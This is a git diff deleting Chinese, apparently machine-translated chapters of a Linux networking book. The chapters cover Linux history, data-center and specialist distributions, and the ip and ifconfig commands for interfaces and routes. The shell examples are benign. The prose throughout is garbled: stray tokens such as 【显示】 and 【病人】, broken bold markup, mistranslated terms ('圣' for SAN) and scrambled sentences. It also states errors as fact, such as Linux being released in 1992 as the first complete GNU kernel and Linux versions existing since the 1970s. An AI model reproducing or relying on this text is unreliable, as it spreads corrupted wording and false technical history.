-许多公司确实选择了许可的**企业版**操作系统,但许多其他公司选择在免费版本的 OpenSUSE、CentOS 或 Ubuntu 上构建基础设施。 Linux 免费版本的可用性意味着许多组织可以以相当低的 IT 成本运营,这对我们作为一个行业的发展产生了很大的影响。 - -## 为什么 Linux 很重要? - -多年来,在信息技术社区的一个笑话是,明年是总是*的 Linux 桌面*——我们都停止支付许可费用为桌面和业务应用,和一切都会免费和开源。 - -相反,Linux 已经稳步地进入了许多环境的服务器和基础设施方面。 - -Linux 已经成为大多数数据中心的支柱,即使那些组织认为他们是一个只有*windows 的*环境。 许多基础设施组件在的掩护下运行 Linux,并带有一个漂亮的 web 前端,将其变成一个供应商解决方案。 **如果你有一个存储区域网络**(**圣),它可能运行 Linux,作为你的**负载平衡器【显示】,**接入点**,【病人】和**无线控制器。 许多**路由器**和**交换机**运行 Linux,几乎所有新的*软件定义网络*解决方案都是这样。****** - -几乎无一例外,信息安全产品都是基于 Linux 的。 传统防火墙和*下一代防火墙、**入侵检测和预防系统**(**IDS / IPS【T7)】,【显示】**安全信息和事件管理(SIEM**)系统,和日志服务器,Linux, Linux, Linux !*** - - **为什么 Linux 如此普及? 原因有很多: - -* 它是一个成熟的操作系统。 -* 它有一个集成的补丁和更新系统。 -* 基本特性的配置很简单。 不过,操作系统上更复杂的特性可能比 Windows 上更难配置。 更多信息请参阅我们的 DNS 或 DHCP 章节。 -* 另一方面,在 Windows 环境中可以*出售*产品的许多特性可以自由地安装在 Linux 上。 -* 由于 Linux 几乎完全是基于文件的,所以如果您是一个基于 Linux 的产品供应商,那么将其保持在一个已知的基线是相当容易的。 -* 只要适当地混合(免费和开源)包、一些脚本和一些自定义编码,您就可以在 Linux 之上构建任何东西。 -* 如果你选择了正确的发行版本,操作系统本身就是免费的,这对于试图最大化利润的供应商或试图降低成本的客户来说是一个巨大的动力。 - -如果新的**运动基础设施代码是什么吸引你,那么你会发现几乎所有编程语言都体现在了 Linux 和正在积极开发等新语言——**和**锈**,回到**Fortran【显示】和**Cobol**。 甚至从 Windows 衍生出来的**PowerShell**和**. net**在 Linux 上也得到了完全的支持。 大多数基础架构编配引擎(例如,**Ansible**、**Puppet**和**Terraform**)首先在 Linux 上启动并支持。****** - - **在当今 IT 基础设施的云计算方面,Linux 是免费的这一事实使得云服务提供商几乎从一开始就把他们的客户推向了这一领域的一端。 如果您订阅了任何描述为*无服务器*或*为服务*的云服务,那么在幕后,这个解决方案很可能几乎都是 Linux。 - -最后,既然我们已经看到 IT 的服务器和基础设施端向 Linux 移动,我们应该注意到,今天的手机正稳步成为当今计算现实中最大的*桌面*平台。 在当今世界,手机通常要么是基于 iOS 的,要么是基于 android 的,两者都是基于 Unix/ linux 的! 因此,通过改变桌面的定义,Linux 桌面的*年*已经悄悄地来到我们身边。 - -所有这些使得 Linux 对当今的网络或 IT 专业人士非常重要。 这本书的重点是将 Linux 作为网络专业人员的桌面工具箱来使用,以及在 Linux 平台上安全地配置和交付各种网络服务。 - -## Linux 的历史 - -为了理解 Linux 的起源,我们必须讨论 Unix 的起源。 Unix 是在 20 世纪 60 年代末和 70 年代初由贝尔实验室开发的。 Dennis Ritchie 和 Ken Thompson 是 Unix 的主要开发者。 Unix 这个名称实际上是基于名称**Multics**的双关语,它是早期的操作系统,激发了 Unix 的许多特性。 - -1983 年,Richard Stallman 和自由软件基金会开始了**GNU**(一个递归的缩写词——**GNU 的非 Unix**)项目,该项目希望创建一个类 Unix 的操作系统,所有人都可以免费使用。 这一努力产生了*GNU Hurd*内核,大多数人认为它是当今 Linux 版本的前身(SFS 更愿意我们把它们都称为 GNU/Linux)。 - -1992 年,Linus Torvalds 发布了 Linux,这是第一个完全实现的 GNU 内核。 需要注意的是,主流 Linux 通常被认为是一个内核,可以用来创建一个操作系统,而不是一个操作系统本身。 Linux 仍然由 Linus Torvalds 作为主要开发人员进行维护,但是今天,有一个由个人和公司组成的更大的团队作为贡献者。 因此,虽然从技术上讲 Linux 只指内核,但在业界,*Linux*通常指的是构建在内核之上的任何操作系统。 - -自 20 世纪 70 年代以来,已经发布了数百种不同版本的 Linux。 其中每一个通常被称为**发行版**(简称**发行版**)。 它们都基于当时的 Linux 内核,以及用于操作系统和更新的安装基础设施和存储库系统。 大多数在某种程度上是独一无二的,在基地的混合包或发行版的焦点——有些可能小适合较小的硬件平台,有些人可能会关注安全,一些可能是打算作为一个通用的企业*的*操作系统,等等。 - -有些发行版已经成为“主流”一段时间了,而有些则随着时间的推移而逐渐淡出人们的喜爱。 他们共享的东西是 Linux 内核,他们每个人都在 Linux 内核的基础上创建自己的发行版。 许多发行版都将其操作系统建立在另一个发行版的基础上,对其进行了足够的定制,以证明将其实现称为一个新的发行版是合理的。 这种趋势给了我们一个“Linux 家族树”的概念——在这个树中,几十个发行版可以从一个共同的“根”发展起来。 这可以在 DistroWatch 网站[https://distrowatch.com/dwres.php?resource=family-tree](https://https://distrowatch.com/dwres.php?resource=family-tree)上找到。 - -Linux 的另一种选择,特别是在 Intel/AMD/ARM 硬件空间中,是**Berkeley Software Distribution**(**BSD**)Unix。 BSD Unix 是原**Bell Labs Unix**的后代; 它根本不是基于 Linux 的。 然而,BSD 和它的许多衍生品仍然是免费的,并且与 Linux 共享许多特性(和相当数量的代码)。 - -直到今天,Linux 和 BSD Unix 的重点都是它们都是免费可用的操作系统。 虽然有商业版本和衍生版本,但几乎所有的商业版本都有配套的免费版本。 - -在本节中,我们了解了 Linux 在计算领域的历史和重要性。 我们了解了 Linux 是如何出现的,以及它是如何在计算机领域的某些领域中流行起来的。 现在,我们将开始研究我们可以使用的不同版本的 Linux。 这将帮助我们建立在我们需要的信息上,以便在本章后面选择使用哪个发行版。 - -# 主流数据中心 Linux - -正如我们所讨论的,Linux 不是一个单一的“东西”,而是一个由不同发行版组成的多样化甚至分裂的生态系统。 每个 Linux 发行版都基于相同的 GNU/Linux 内核,但是它们被打包成具有不同目标和理念的组,这使得当一个组织想要开始标准化其服务器和工作站平台时,有各种各样的选择。 - -我们通常看到的主要分布在现代数据中心**Red Hat**,**SUSE**,**Ubuntu**,**FreeBSD Unix 是另一种选择(尽管不太受欢迎的现在比过去)。 这并不是说其他发行版不会出现在台式机或数据中心,但这些发行版是您最经常看到的。 它们都有桌面版和服务器版——服务器版通常更“精简”,因为它们的办公效率、媒体工具,而且通常删除了 GUI。** - - **## Red Hat - -Red Hat 最近被 IBM 收购(在 2019 年),但仍将 Fedora 作为其主要项目之一。 Fedora 有服务器和桌面版本,并且仍然可以免费使用。 Fedora 的商业版本是**Red Hat Enterprise Linux**(**RHEL**)。 RHEL 获得了商业许可,并拥有一个正式的支持渠道。 - -CentOS 一开始是一个免费的、社区支持的 Linux 版本,它在功能上与 Red Hat Enterprise 版本兼容。 这使得它在许多组织的服务器实现中非常流行。 2014 年 1 月,Red Hat 将 CentOS 纳入其业务范围,成为该发行版的正式赞助商。 在 2020 年末,宣布 CentOS 将不再作为一个与 RHEL 兼容的发行版来维护,而是“适合”在 Fedora 和 RHEL 之间的某个地方——没有那么新,没有那么“前沿”,但也没有 RHEL 那么稳定。 作为这个变化的一部分,CentOS 被重命名为**CentOS Stream**。 - -最后,Fedora 是具有最新特性和代码的发行版,其中将尝试和测试新特性。 CentOS Stream 发行版更加稳定,但仍然是 RHEL 的“上游”。 RHEL 是一个稳定的、经过充分测试的操作系统,具有正式的支持产品。 - -## Oracle/Scientific Linux - -Oracle/Scientific Linux 也出现在许多数据中心(以及 Oracle 的云产品)中。 OracleLinux 是基于 Red Hat 的,他们宣传他们的产品是完全兼容 RHEL 的。 Oracle Linux 可以免费下载和使用,但是 Oracle 的支持是基于订阅的。 - -## SUSE - -OpenSUSE 是 SUSE Linux 基于的社区发行版,类似于 RedHat Enterprise Linux 基于 Fedora 的方式。 - -**SUSE Linux Enterprise Server**(通常称为**SLES**)是 Linux 早期的主要是美国 Red Hat 发行版的欧洲竞争对手。 然而,那些日子已经过去了,SUSE Linux 在印第安纳州的现代数据中心的出现(几乎)与在意大利一样多。 - -与 RedHat 和 CentOS 的关系类似,SUSE 同时维护桌面版和服务器版。 此外,他们还维护一个“高性能”版本的操作系统,该操作系统为并行计算提供了预先安装的优化和工具。 OpenSUSE 占据了 SLES 的“上游”位置,在这个位置上,可以在一个发行版中引入变更,而这个发行版在某种程度上更“宽容”一些可能并不总是在第一次完成的变更。 OpenSUSE Tumbleweed 发行版拥有最新的功能和版本,而作为 OpenSUSE Leap 是更接近于版本和稳定的 SLE 版本的操作系统。 这不是偶然的,这个模型是类似于 RedHat 家族的发行版。 - -## Ubuntu - -Ubuntu Linux 是由 Canonical 公司维护的,可以免费下载,没有单独的商业或“上游”选项。 它基于 Debian,有一个独特的发布周期。 服务器和桌面版本的新版本每 6 个月发布一次。 **Long-Term Support**(**LTS**)版本每两年发布一次,从发布日期起 5 年内支持服务器和桌面的 LTS 版本。 与其他大型游戏一样,他们的支持是基于订阅的,尽管来自社区的免费支持也是一个可行的选择。 - -正如您所期望的,Ubuntu 的服务器版本更多地关注核心操作系统、网络和数据中心服务。 在安装服务器版本期间,GUI 通常会取消选择。 然而,桌面版安装了几个软件包,用于办公效率、媒体创建和转换,以及一些简单的游戏。 - -## BSD/FreeBSD/OpenBSD - -正如我们前面所提到的,BSD 系列的“树”是从 Unix 而不是从 Linux 内核中派生出来的,但是有很多共享代码,尤其是当你查看那些不属于内核的包时。 - -FreeBSD 和 OpenBSD 在历史上被认为比 Linux 的早期版本“更安全”。 正因为如此,许多防火墙和网络设备都是基于 BSD OS 家族构建的,并且一直沿用到今天。 一个比较“可见”的 BSD 变体是苹果的商业操作系统**OS X**(现在是**macOS**)。 这是基于 Darwin 的,而 Darwin 又是 BSD 的一个分支。 - -然而,随着时间的推移,Linux 已经成长为拥有与 BSD 大部分相同的安全能力,直到 BSD 的默认设置可能比大多数 Linux 替代品更安全。 - -Linux 现在有可用的安全模块,可以显著提高其安全性。 SELinux 和**AppArmor**是可用的两个主要选项。 SELinux 是由 Red Hat 发行版发展而来的,它完全适用于 SUSE、Debian 和 Ubuntu。 AppArmor 通常被认为是一种易于实现的选项,具有许多(但不是所有)相同的功能。 AppArmor 可以在 Ubuntu、SUSE 和大多数其他发行版上使用(RHEL 除外)。 这两个选项都采用基于策略的方法,以显著提高安装它们的操作系统的整体安全性。 - -随着 Linux 越来越关注安全性,特别是随着 SELinux 或 AppArmor 在大多数现代 Linux 发行版中可用(并推荐使用),BSD 与 Linux 之间“更安全”的争论现在主要是一种历史观念,而不是事实。 - -# 专用 Linux 发行版 - -除了主流的 Linux 发行版,还有一些发行版是为特定的需求而专门构建的。 它们都是建立在一个更主流的发行版本之上,但都是根据特定的需求量身定制的。 我们将在这里描述一些你作为网络专业人士最有可能看到或使用的。 - -大多数商用的**网络连接存储**(**NAS**)和 SAN 提供商都基于 Linux 或 BSD。 领先者在开源 NAS /圣服务,在写这篇文章的时候,似乎是**TrueNAS**(原【显示】FreeNAS)和**XigmaNAS(原【病人】NAS4Free**)。 两者都有免费和商业服务。 - -## 开源防火墙 - -网络和安全公司提供了各种各样的防火墙设备,其中大多数是基于 Linux 或 BSD 的。 许多公司都提供免费的防火墙,一些比较流行的是**pfSense**(免费版本和预构建的硬件解决方案),**OPNsense**(免费,捐赠),【显示】和**理清(还有一个商业版本)。 **Smoothwall**是另一个替代品,有免费版本和商业版本。** - -在本书中,我们将探索在 Linux 中使用机载防火墙来保护单个服务器,或者保护网络边界。 - -## Kali Linux - -**Kali Linux**是基于 Debian 的一个发行版,它是基于 Debian 的,专注于信息安全。 这个发行版的潜在目标是在一个平台上收集尽可能多的有用的渗透测试和合乎道德的黑客工具,然后确保它们在互不干扰的情况下工作。 在操作系统和工具得到更新(使用`apt`工具集)时,该发行版的新版本侧重于维护该工具的互操作性。 - -## 筛 - -**SIFT**是由 SANS 研究所的取证团队编写的一个发行版,专注于数字取证和事件响应工具和调查。 与 Kali 类似,SIFT 的目标是成为一个免费/开放的源工具的“一站式商店”,在一个领域——**数字取证和事件响应**(**DFIR**)。 从历史上看,这是一个基于 Ubuntu 的发行版,但在最近几年,这已经改变了——SIFT 现在也以脚本的形式发布,可以在 Ubuntu 桌面或 Windows Services for Linux(基于 Ubuntu)上安装这些工具。 - -## 安全洋葱 - -Security Onion 也类似于 Kali Linux,它包含了多个信息安全工具,但它的重点更多地从防御者的角度来看。 该发行版以威胁搜索、网络安全监控和日志管理为核心。 该发行版中的一些工具包括 Suricata、Zeek 和 Wazuh,只是举几个例子。 - -# 虚拟化 - -虚拟化在采用 Linux 和同时使用多个发行版的能力中扮演了重要的角色。 通过使用本地管理程序,网络专业人员可以在他们的笔记本电脑或台式机上运行几十个不同的“机器”。 虽然 VMware 是这一领域(桌面和专用虚拟化)的先驱,但 Xen、KVM、VirtualBox 和 QEMU 等也加入了这一领域。 虽然 VMware 产品都是商业产品(除了 VMware Player),但在撰写本文时,列出的其他解决方案仍然是免费的。 VMware 的旗舰 hypervisor ESXi 也可以作为独立产品免费提供。 - -## Linux 与云计算 - -Linux 越来越高的稳定性和虚拟化现在已经成为主流的事实,在很多方面,使得我们现在的云生态系统成为可能。 再加上增加功能的自动化部署和维护后台基础设施和成熟可用的 web 应用的开发人员和**应用编程接口**(**api),我们是今天的云基础设施。 它的一些主要特点如下:** - -* 多租户基础设施,其中每个客户在云中维护自己的实例(虚拟服务器和虚拟数据中心)。 -* 粒度成本可以按月计算,或者更常见的是按时间所使用的资源计算。 -* 可靠性,即它与许多现代数据中心一样好或更好(尽管最近的中断表明,当我们把太多鸡蛋放在同一个篮子里时会发生什么)。 -* 使您的基础设施自动化相对容易的 api,以至于对于许多公司来说,提供和维护他们的基础设施已经成为一种编码活动(通常称为**基础设施即代码**)。 -* 这些 api 可以根据需要增加(或减少)容量,无论是存储、计算、内存、会话计数,还是所有这四个方面。 - -云服务是在商业利润,尽管——任何公司已决定“叉车”他们的数据中心是一个云服务可能已经发现,那些小费用增加随着时间的推移,最终达到或超过他们的本地数据中心的成本。 在资金方面,它仍然很有吸引力,因为这些资金都花在运营费用上,这些费用比本地资本支出模型(通常称为 Cap-Ex 与 Op-Ex 模型)更容易直接归属。 - -如您所见,将数据中心迁移到云服务确实会给组织带来很多好处,而在内部部署模型中,这些好处是无法实现的。 随着更多的云特性的使用,这一点变得更加明显。 - -# 为您的组织选择一个 Linux 发行版 - -在许多方面,为数据中心选择哪个发行版并不重要——主要的发行版都具有类似的功能,通常具有相同的组件,并且通常具有类似的供应商或社区支持选项。 然而,由于这些发行版之间的差异,重要的是选择一个发行版(或一组类似的发行版)。 - -期望的结果是您的组织标准化一个分发,您的团队可以开发他们的专业知识。 这也意味着您可以与相同的升级团队一起工作以获得更高级的支持和故障排除,无论这是一个咨询组织、一个付费的供应商支持团队,还是各种互联网论坛上的一群志同道合的个人。 许多组织与“三大”之一(Red Hat、SUSE 或 Canonical,取决于它们的发行版本)购买支持合同。 - -我曾见过一些客户的情况是你最不想遇到的。 在雇佣了一个渴望学习的人之后,一年后,他们发现他们那一年构建的每台服务器都在不同的 Linux 发行版上,每台服务器的构建略有不同。 这是一条通往您的基础设施成为众所周知的永远不会结束的“科学实验”的捷径! - -与此相反,他们的第一个服务器是**SUSE Linux for SAP**,顾名思义,这是一个 SUSE Linux 服务器,与客户购买的 SAP 应用(SAP HANA)打包在一起。 当他们的 Linux 足迹随着服务的增加而增长时,他们坚持使用 SUSE 平台,但选择了“真正的”SLES 发行版。 这使得他们可以使用单一的操作系统,同样重要的是,他们可以使用 SUSE 的单一支持许可证。 他们能够专注于 SUSE 的培训和专业知识。 对他们来说,另一个关键的好处是,随着他们添加更多的服务器,他们能够应用一个更新和补丁的单一“流”,并采用分阶段的方法。 在每个补丁周期中,不太重要的服务器首先被打补丁,将核心业务应用服务器留在几天后,在它们的测试完成后再打补丁。 - -选择发行版的主要建议是坚持使用较大的发行版。 如果你的团队成员对其中一个有强烈的感觉,那么你就应该考虑到这一点。 您可能想保持相当接近的一个主流发行版,这样您就可以使用它在你的组织,是定期维护和付费订阅模式可用于支持——即使你不感觉你今天需要支付的支持,事实并非总是如此。 - -# 总结 - -现在我们已经讨论了 Linux 的历史,以及几个主要的发行版,我希望您能够更好地了解操作系统在我们社会中的历史和核心重要性。 特别是,我希望您有一些好的标准来帮助您为您的基础架构选择一个发行版。 - -在本书中,我们将选择 Ubuntu 作为我们的发行版。 它是一个免费的发行版,在它的 LTS 版本中,有一个我们可以依赖的操作系统,在您处理我们将要讨论的各种场景、构建和示例时,我们可以依赖它的支持。 它也是 Windows 本地发行版(在 Linux 的 Windows 服务中)。 这使它成为一个容易熟悉的发行版,即使您没有服务器或工作站硬件来空闲,甚至没有虚拟化平台来测试。 - -在下一章中,我们将讨论如何让您的 Linux 服务器或工作站接入网络。 我们将演示如何使用本地接口,并添加 IP 地址、子网掩码和使您的 Linux 主机在新的或现有网络中工作所需的任何路由。 - -# 进一步阅读 - -* Red Hat Linux:[https://www.redhat.com/en](https://https://www.redhat.com/en%0D) -* Fedora:[https://getfedora.org/](https://getfedora.org/) -* CentOS:[https://www.centos.org/](https://www.centos.org/) -* SUSE Linux:[https://www.suse.com/](https://https://www.suse.com/%0D) -* OpenSUSE:[https://www.opensuse.org/](https://https://www.opensuse.org/%20%0D) -* Ubuntu Linux:[https://ubuntu.com/](https://https://ubuntu.com/%0D) -* Windows Subsystem for Linux: [https://docs.microsoft.com/en-us/](https://docs.microsoft.com/en-us/) - - [https://docs.microsoft.com/en-us/windows/wsl/about](https://docs.microsoft.com/en-us/windows/wsl/about) - -* FreeBSD Unix:[https://www.freebsd.org/](https://https://www.freebsd.org/%0D) -* OpenBSD Unix:[https://www.openbsd.org/](https://https://www.openbsd.org/) -* Linux/BSD 差异:[https://www.howtogeek.com/190773/htg-explains-whats-the-difference-between-linux-and-bsd/](https://https://www.howtogeek.com/190773/htg-explains-whats-the-difference-between-linux-and-bsd/%0D) -* [https://www.truenas.com/](https://https://www.truenas.com/%0D) -* [https://www.xigmanas.com/](https://https://www.xigmanas.com/%20%0D) -* pfSense:[https://www.pfsense.org/](https://https://www.pfsense.org/%0D) -* OPNsense:[https://opnsense.org/](https://https://opnsense.org/%0D) -* [https://www.untangle.com/untangle](https://https://www.untangle.com/untangle%0D) -* Kali Linux:[https://www.kali.org/](https://https://www.kali.org/%0D) -* SIFT:[https://digital-forensics.sans.org/community/downloads](https://https://digital-forensics.sans.org/community/downloads); [https://www.sans.org/webcasts/started-sift-workstation-106375](https://https://www.sans.org/webcasts/started-sift-workstation-106375%0D) -* 安全洋葱:[https://securityonionsolutions.com/software](https://https://securityonionsolutions.com/software%0D) -* Kali Linux:[https://www.kali.org/](https://https://www.kali.org/)****** \ No newline at end of file diff --git a/docs/linux-net-prof/02.md b/docs/linux-net-prof/02.md deleted file mode 100644 index ad94d1b4..00000000 --- a/docs/linux-net-prof/02.md +++ /dev/null @@ -1,569 +0,0 @@ -# 二、基本 Linux 网络配置和操作——使用本地接口 - -在本章中,我们将探索如何在您的 Linux 主机上显示和配置本地接口和路由。 我们将尽可能地讨论执行这些操作的新命令和遗留命令。 这将包括显示和修改 IP 地址、本地路由和其他接口参数。 在此过程中,我们将讨论如何使用二进制方法构造 IP 地址和子网地址。 - -本章将为您在后面章节中讨论的主题打下坚实的基础,包括排除网络问题、加固主机和安装安全服务。 - -本章所涵盖的主题如下: - -* 使用您的网络设置—两组命令 -* 显示接口 IP 信息 -* IPv4 地址和子网掩码 -* 配置接口的 IP 地址 - -# 技术要求 - -在本章和其他章节中,当我们讨论各种命令时,我们鼓励您在自己的计算机上尝试它们。 本书中的命令都是在 Ubuntu Linux 版本 20(一个长期支持版本)上说明的,但在几乎所有 Linux 发行版上应该在很大程度上是相同的或非常相似的。 - -# 使用您的网络设置—两组命令 - -对大多数人都熟悉的 Linux 寿命,**ifconfig**(**界面配置)和相关命令 Linux 操作系统的支柱,以至于现在的弃用在大多数发行版,它仍然*卷的手指*许多系统和网络管理员。** - -为什么这些旧的网络命令被替换? 有几个原因。 一些新的硬件(特别是 InfiniBand 网络适配器)并没有得到旧命令的很好支持。 此外,由于 Linux 内核多年来发生了变化,旧命令的操作随着时间的推移变得越来越不一致,但围绕向后兼容性的压力使解决这个问题变得困难。 - -旧的命令在`net-tools`软件包中,新的命令在`iproute2`软件包中。 新管理员应该关注新命令,但是熟悉旧命令仍然是一件好事。 运行 Linux 的旧计算机仍然很常见,这些机器可能永远不会更新,但仍然使用旧命令。 因此,我们将介绍这两种工具集。 - -从中得到的教训是,在 Linux 世界中,变化是不断的。 旧的命令仍然可用,但默认不安装。 - -要安装遗留命令,使用这个命令: - -```sh -robv@ubuntu:~$ sudo apt install net-tools - [sudo] password for robv: -Reading package lists... Done -Building dependency tree -Reading state information... Done -The following package was automatically installed and is no longer required: - libfprint-2-tod1 -Use 'sudo apt autoremove' to remove it. -The following NEW packages will be installed: - net-tools -0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. -Need to get 0 B/196 kB of archives. -After this operation, 864 kB of additional disk space will be used. -Selecting previously unselected package net-tools. -(Reading database ... 183312 files and directories currently installed.) -Preparing to unpack .../net-tools_1.60+git20180626.aebd88e-1ubuntu1_amd64.deb .. . -Unpacking net-tools (1.60+git20180626.aebd88e-1ubuntu1) ... -Setting up net-tools (1.60+git20180626.aebd88e-1ubuntu1) ... -Processing triggers for man-db (2.9.1-1) ... -``` - -您可能会注意到这个`install`命令中的及其输出: - -* `sudo`: The `sudo` command was used – **sudo** essentially means **do as the super user** – so the command executes with root (administrator) privileges. This needs to be paired with the password of the user executing the command. In addition, that user needs to be properly entered in the configuration file `/etc/sudoers`. By default, in most distributions, the `userid` defined during the installation of the operating system is automatically included in that file. Additional users or groups can be added using the `visudo` command. - - 为什么使用`sudo`? 安装软件或更改网络参数以及许多其他系统操作都需要更高的权限——在多用户的企业系统上,您不会希望不是管理员的人进行这些更改。 - - 所以,如果`sudo`这么好,为什么不以 root 的形式运行所有内容? 主要是因为这是一个安全问题。 当然,如果您拥有根权限,那么一切都可以正常工作。 然而,任何错误和打字错误都可能导致灾难性的结果。 此外,如果你运行的权限和碰巧执行一些恶意软件,恶意软件将有同样的特权,这肯定是不理想的! 如果有人问,是的,Linux 恶意软件肯定存在,而且几乎从一开始就伴随着操作系统。 - -* `apt`: The `apt` command was used – **apt** stands for **Advanced Package Tool**, and installs not only the package requested, but also any required packages, libraries, or other dependencies required for that package to run. Not only that, but by default, it collects all of those components from online repositories (or repos). This is a welcome shortcut compared to the old process, where all the dependencies (at the correct versions) had to be collected, then installed in the correct order to make any new features work. - - `apt`是 Ubuntu、Debian 和相关发行版的默认安装程序,但不同发行版的包管理应用有所不同。 除了`apt`及其等价物之外,仍然支持从下载文件安装。 Debian、Ubuntu 和相关发行版使用`deb`文件,而许多其他发行版使用`rpm`文件。 总结如下: - -![](img/Table_1.jpg) - -那么,现在我们有一大堆新的命令要查看,我们如何获得更多关于这些命令的信息? `man`(手动)命令有 Linux 中大多数命令和操作的文档。 对于实例,`apt`的`man`命令可以使用`man apt`命令打印; 输出如下: - -![Figure 2.1 – apt man page ](img/B16336_02_001.jpg) - -图 2.1 - apt 手册页 - -当我们在本书中介绍新的命令时,请花一分钟时间使用`man`命令来回顾它们——本书更多地是为了指导您的旅程,而不是替代实际的操作系统文档。 - -现在我们已经讨论了现代工具和遗留工具,然后安装了遗留的`net-tools`命令,那么这些命令是什么?它们做什么? - -# 显示接口 IP 信息 - -显示接口信息是 Linux 工作站上的常见任务。 如果您的主机适配器被设置为自动配置,对于使用**动态主机配置协议**(**DHCP**)或 IPv6 自动配置的实例,这尤其正确。 - -正如我们所讨论的,有两组命令来完成此任务。 该命令允许我们在新的操作系统上显示或配置主机的网络参数。 在旧版本中,您将发现使用了`ifconfig`命令。 - -`ip`命令将允许我们显示或更新 IP 地址、路由信息和其他网络信息。 例如,要查看当前 IP 地址信息,可以使用如下命令: - -```sh -ip address -``` - -`ip`命令支持**命令补全**,因此`ip addr`甚至`ip a`将给您相同的结果: - -```sh -robv@ubuntu:~$ ip ad -1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - valid_lft forever preferred_lft forever - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever -2: ens33: mtu 1500 qdisc fq_codel state UP group default qlen 1000 - link/ether 00:0c:29:33:2d:05 brd ff:ff:ff:ff:ff:ff - inet 192.168.122.182/24 brd 192.168.122.255 scope global dynamic noprefixroute ens33 - valid_lft 6594sec preferred_lft 6594sec - inet6 fe80::1ed6:5b7f:5106:1509/64 scope link noprefixroute - valid_lft forever preferred_lft forever -``` - -您将看到,即使是最简单的命令有时也会返回更多您可能想要的信息。 实例,您将看到两个 IP 版本 4**(**IPv4)和 IPv6 返回信息——我们只能限制这个版本 4 或 6 通过添加`-4`或`-6`【显示】命令行选项:**** - -```sh -robv@ubuntu:~$ ip -4 ad -1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 - inet 127.0.0.1/8 scope host lo - valid_lft forever preferred_lft forever -2: ens33: mtu 1500 qdisc fq_codel state UP group default qlen 1000 - inet 192.168.122.182/24 brd 192.168.122.255 scope global dynamic noprefixroute ens33 - valid_lft 6386sec preferred_lft 6386sec -``` - -在这个输出中,您将看到`loopback`接口(一个逻辑内部接口)的 IP 地址为`127.0.0.1`,而以太网接口`ens33`的 IP 地址为`192.168.122.182`。 - -现在是输入`man ip`并回顾我们可以使用这个命令执行的各种操作的绝佳时机: - -![Figure 2.2 – ip man page ](img/B16336_02_002.jpg) - -图 2.2 - ip man 页面 - -`ifconfig`命令具有与`ip`命令非常相似的功能,但正如我们所注意到的,主要出现在旧版本的 Linux 上。 遗留命令都有了自然的增长,并根据需要附加了一些特性。 这使我们处于一种状态,即随着显示或配置更复杂的东西,语法变得越来越不一致。 更现代的命令是为了一致性而从头设计的。 - -让我们使用 legacy 命令复制我们的工作; 要显示接口 IP,输入`ifconfig`: - -```sh -robv@ubuntu:~$ ifconfig -ens33: flags=4163 mtu 1400 - inet 192.168.122.22 netmask 255.255.255.0 broadcast 192.168.122.255 - inet6 fe80::1ed6:5b7f:5106:1509 prefixlen 64 scopeid 0x20 - ether 00:0c:29:33:2d:05 txqueuelen 1000 (Ethernet) - RX packets 161665 bytes 30697457 (30.6 MB) - RX errors 0 dropped 910 overruns 0 frame 0 - TX packets 5807 bytes 596427 (596.4 KB) - TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 -lo: flags=73 mtu 65536 - inet 127.0.0.1 netmask 255.0.0.0 - inet6 ::1 prefixlen 128 scopeid 0x10 - loop txqueuelen 1000 (Local Loopback) - RX packets 1030 bytes 91657 (91.6 KB) - RX errors 0 dropped 0 overruns 0 frame 0 - TX packets 1030 bytes 91657 (91.6 KB) - TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 -``` - -可以看到,大部分相同的信息以略微不同的格式显示。 如果您查看这两个命令的`man`页面,您将看到`imp`命令中的选项更加一致,并且没有那么多的 IPv6 支持—例如,您不能本机只选择 IPv4 或 IPv6 显示。 - -## 显示路由信息 - -在现代的网络命令中,我们将使用完全相同的`ip`命令来显示路由信息。 而且,如您所料,该命令是`ip route`,它可以缩写为`ip r`以下任意内容: - -```sh -robv@ubuntu:~$ ip route -default via 192.168.122.1 dev ens33 proto dhcp metric 100 -169.254.0.0/16 dev ens33 scope link metric 1000 -192.168.122.0/24 dev ens33 proto kernel scope link src 192.168.122.156 metric 100 -robv@ubuntu:~$ ip r -default via 192.168.122.1 dev ens33 proto dhcp metric 100 -169.254.0.0/16 dev ens33 scope link metric 1000 -192.168.122.0/24 dev ens33 proto kernel scope link src 192.168.122.156 metric 100 -``` - -从这个输出中,我们看到有一个指向`192.168.122.1`的*默认路由*。 默认路由是——如果一个包被发送到路由表中不存在的目的地,主机将把这个包发送到它的默认网关。 路由表总是倾向于“最具体的”路由——与目的 IP 最接近的路由。 如果没有匹配,那么最具体的路由将到达默认网关,该网关路由到`0.0.0.0 0.0.0.0`(换句话说,“如果它不匹配任何其他”路由)。 主机假设默认网关 IP 属于路由器,路由器将(希望)知道下一步将包发送到哪里。 - -我们也看到了到`169.254.0.0/16`的路线。 这就是 RFC 3927 中定义的一个**Link-Local Address**。 **RFC**代表**征求意见**,作为非正式同行评审过程的一部分,互联网标准在开发过程中使用。 已发布的 rfc 列表是**IETF**(**Internet Engineering Task Force**)维护的,网址为 https://www.ietf.org/standards/rfcs/。 - -链接地址只有在当前子网-如果一个主机没有静态配置 IP 地址,和 DHCP 不分配和地址,它将使用前两个八位位组中定义的 RFC(`169.254`),然后计算两个八位字节,每次形态分配它们。 Ping / ARP 测试后(我们将讨论 ARP[*第三章*](03.html#_idTextAnchor053),*使用 Linux 和 Linux 工具网络诊断*),以确保这个计算地址实际上是可用的,主人准备沟通。 这个地址应该只与同一网段上的其他 LLA 地址通信,通常使用广播和组播协议(如 ARP、Alljoyn 等)来“找到”彼此。 为了清晰起见,这些地址几乎从未在真实的网络中使用过,它们是在绝对没有其他选择的情况下使用的地址。 为了混淆,微软把这些地址称为不同的**自动私有互联网协议寻址**(**APIPA**)。 - -最后,我们看到一个到本地子网的路由,在本例中是`192.168.122.0/24`。 这个被称为**连接的路由**(因为它连接到该接口)。 这告诉主机在它自己的子网中与其他主机通信不需要路由。 - -这组路由在简单网络中非常常见——一个默认网关,一个本地段,仅此而已。 在许多操作系统中,除非主机实际使用链接本地地址,否则您不会看到`169.254.0.0`子网。 - -在遗留方面,有多种方法可以显示当前的路由集。 典型的命令是*网络状态*的`netstat –rn`,显示路由和数字显示。 然而,`route`是一个单独的命令(我们将在本章后面看到为什么): 